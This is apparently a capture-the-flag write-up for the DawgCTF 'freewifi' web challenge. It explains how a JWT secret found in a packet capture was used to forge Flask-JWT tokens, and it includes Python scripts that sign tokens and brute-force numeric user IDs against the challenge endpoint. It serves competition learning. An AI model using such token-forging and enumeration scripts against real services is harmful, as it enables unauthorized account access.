Tags: web jwt 

Rating:

> I saw someone's screen and it looked like they stayed logged in, somehow...
http://freewifi.ctf.umbccd.io/

There is a PCAP available for download

There is an interesting path in it: `/jwtlogin`. Accessing it, causes a 401 (Unauthorized) error. But in the next request of the capture, the user posts a passcode to `/staff.html` and is getting a JWT secret as a response in a cookie:

Set-Cookie: JWT 'secret'="dawgCTF?heckin#bamboozle"; Path=/

Checking the session token retrieved on the next request at https://jwt.io and using the secret `dawgCTF?heckin#bamboozle` (with or without double quotes around it) does not validate the signature. The session cookie just contains the CSRF token, though.

So we need to find out how to send the JWT to the `/jwtlogin` endpoint and what its content is supposed to be.

A first step is to build a more or less random token (containing just `user=admin`) and sending it as a cookie and as a bearer token:

```bash
$ http https://freewifi.ctf.umbccd.io/jwtlogin "Cookie: session=eyJ1c2VyIjoiYWRtaW4iLCJhbGciOiJIUzI1NiJ9.e30.xN1MhQ-3wyIsOfiJi48GZTNuxWxSucU2HLDxYKlonGw"
HTTP/1.1 401 UNAUTHORIZED
Connection: keep-alive
Content-Length: 110
Content-Type: application/json
Date: Sat, 11 Apr 2020 10:16:06 GMT
Server: nginx/1.14.0 (Ubuntu)
WWW-Authenticate: JWT realm="Login Required"

{
"description": "Request does not contain an access token",
"error": "Authorization Required",
"status_code": 401
}

$ http https://freewifi.ctf.umbccd.io/jwtlogin "Authorization: Bearer eyJ1c2VyIjoiYWRtaW4iLCJhbGciOiJIUzI1NiJ9.e30.xN1MhQ-3wyIsOfiJi48GZTNuxWxSucU2HLDxYKlonGw"
HTTP/1.1 401 UNAUTHORIZED
Connection: keep-alive
Content-Length: 96
Content-Type: application/json
Date: Sat, 11 Apr 2020 10:21:58 GMT
Server: nginx/1.14.0 (Ubuntu)

{
"description": "Unsupported authorization type",
"error": "Invalid JWT header",
"status_code": 401
}
```

The latter looks more promising, so we need to use explicit authorization via the `Authorization` header for our request.

In order to build a proper JWT, it would be helpful to know something about how the applicationwas built. The requests are containing a server header telling us which webserver sent the responses: `werkzeug`. This indicates, that we are dealing with a Flask application. Other things (the `JWT Realm` in the response) support this assumption.

Documentation how Flask handles JWT can be found here: https://pythonhosted.org/Flask-JWT/_modules/flask_jwt.html#JWT
We should sign the token using the algorithm `HS256` (HMAC-SHA-256) and the payload must contain the values `exp`, `iat`, `ibf` (indicating the validity of the token) and `identity`. The library *PyJWT* is helpful for building the tokens:

```python
from jwt import PyJWT
import datetime
import requests

secrets = ['"dawgCTF?heckin#bamboozle"', 'dawgCTF?heckin#bamboozle']

jwt = PyJWT()
for secret in secrets:
for user_id in ['true.grit@umbccd.io',0, 1, 100, 1000, 10000, 'admin', 'administrator', 'user']:
now = datetime.datetime.utcnow()
payload = {
'identity': user_id,
'exp': now + datetime.timedelta(hours=1),
'iat': now,
'nbf': now
}

token = jwt.encode(
payload=payload,
key=secret,
algorithm='HS256'
).decode('utf-8')
print(token)
url = 'https://freewifi.ctf.umbccd.io/jwtlogin'
headers = {'Authorization': 'Bearer {}'.format(token)}
r = requests.get(url, headers = headers)
print(r.status_code)
print(r.text)
```

Unfortunately, we are still getting a `Invalid JWT Header` error.

Searching for it in the source code we find the line creating it here: https://github.com/mattupstate/flask-jwt/blob/c27084114e258863b82753fc574a362cd6c62fcd/flask_jwt/__init__.py#L104
The error is caused, because the first part of the `Authorization` header is not the same as the `JWT_AUTH_HEADER_PREFIX` value in the application (which is `JWT`). So we need to change the value of `Bearer` to `JWT`

This changes the error message. If we use the JWT secret in quotes, we get

{"description":"Signature verification failed","error":"Invalid token","status_code":401}

So let's use the password without quotes. This gives a different error yet again:

{"description":"User does not exist","error":"Invalid JWT","status_code":401}

We have a valid JWT now, but still need to find a correct user identity. First I tried a couple of well known names without success:

['true.grit@umbccd.io',0, 1, 100, 1000, 10000, 'admin', 'administrator', 'user', 'root', 'guest', 'TrueGrit', 'umbccd', 'dawgctf', 'DawgCTF', 'truegrit', 'true.grit', 'pleoxconfusa', 'freethepockets']

Checking the source code again, we can find that the `identity` value of the token is checked here: https://github.com/mattupstate/flask-jwt/blob/c27084114e258863b82753fc574a362cd6c62fcd/flask_jwt/__init__.py#L267
From that we can conclude, that the identity value needs to be numeric.

From that point, we brute force the ID with the following script:

```python
from jwt import PyJWT
import datetime
import requests
import json
import sys
import time

secrets = ['dawgCTF?heckin#bamboozle']

usernames = range(100000)
if(len(sys.argv) >= 2):
filename = sys.argv[1]
with open(filename, "rb") as f:
usernames = [name.strip() for name in f.readlines()]

print("Tryin {} usernames ('{}' to '{}')".format(len(usernames), usernames[0], usernames[-1]))

url = 'https://freewifi.ctf.umbccd.io/jwtlogin'
session = requests.session()

jwt = PyJWT()
ts = time.time()
for secret in secrets:
for user_id in usernames:
if(user_id is bytes):
try:
user_id = user_id.decode('utf-8')
except:
print("Bad user id {}".format(user_id))
next
if(time.time() - ts > 10):
print("Trying user '{}'".format(user_id))
ts = time.time()
now = datetime.datetime.utcnow()
payload = {
'identity': user_id,
'exp': now + datetime.timedelta(hours=10),
'iat': now,
'nbf': now - datetime.timedelta(hours=10),
}

token = jwt.encode(
payload=payload,
key=secret,
algorithm='HS256'
).decode('utf-8')
headers = {'Authorization': 'JWT {}'.format(token)}
r = session.get(url, headers = headers)
try:
err_desc = json.loads(r.text)["description"]
except:
err_desc = ""
if(r.status_code != 401 or err_desc != "User does not exist"):
print(user_id)
print(token)
print(r.status_code)
print(r.text)
```

Finally, for the userid 31337 and using the JWT

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MzEzMzcsImV4cCI6MTU4NjY4MTAwMSwiaWF0IjoxNTg2NjQ1MDAxLCJuYmYiOjE1ODY2MDkwMDF9.EXlLxvJynQeeAW8ngIrIfdaGY_vCBC8LilmVI3ZttyQ

we get the flag as an response.

Flag: **DawgCTF{y0u_d0wn_w!t#_JWT?}**

Update: The user ID could have been found without brute forcing.
If you open `/staff.html` in the browser and try to login with `true.grit@umbccd.io` as the username ans any password, the error page will contain the cookie

JWT 'identity'=31337; Path=/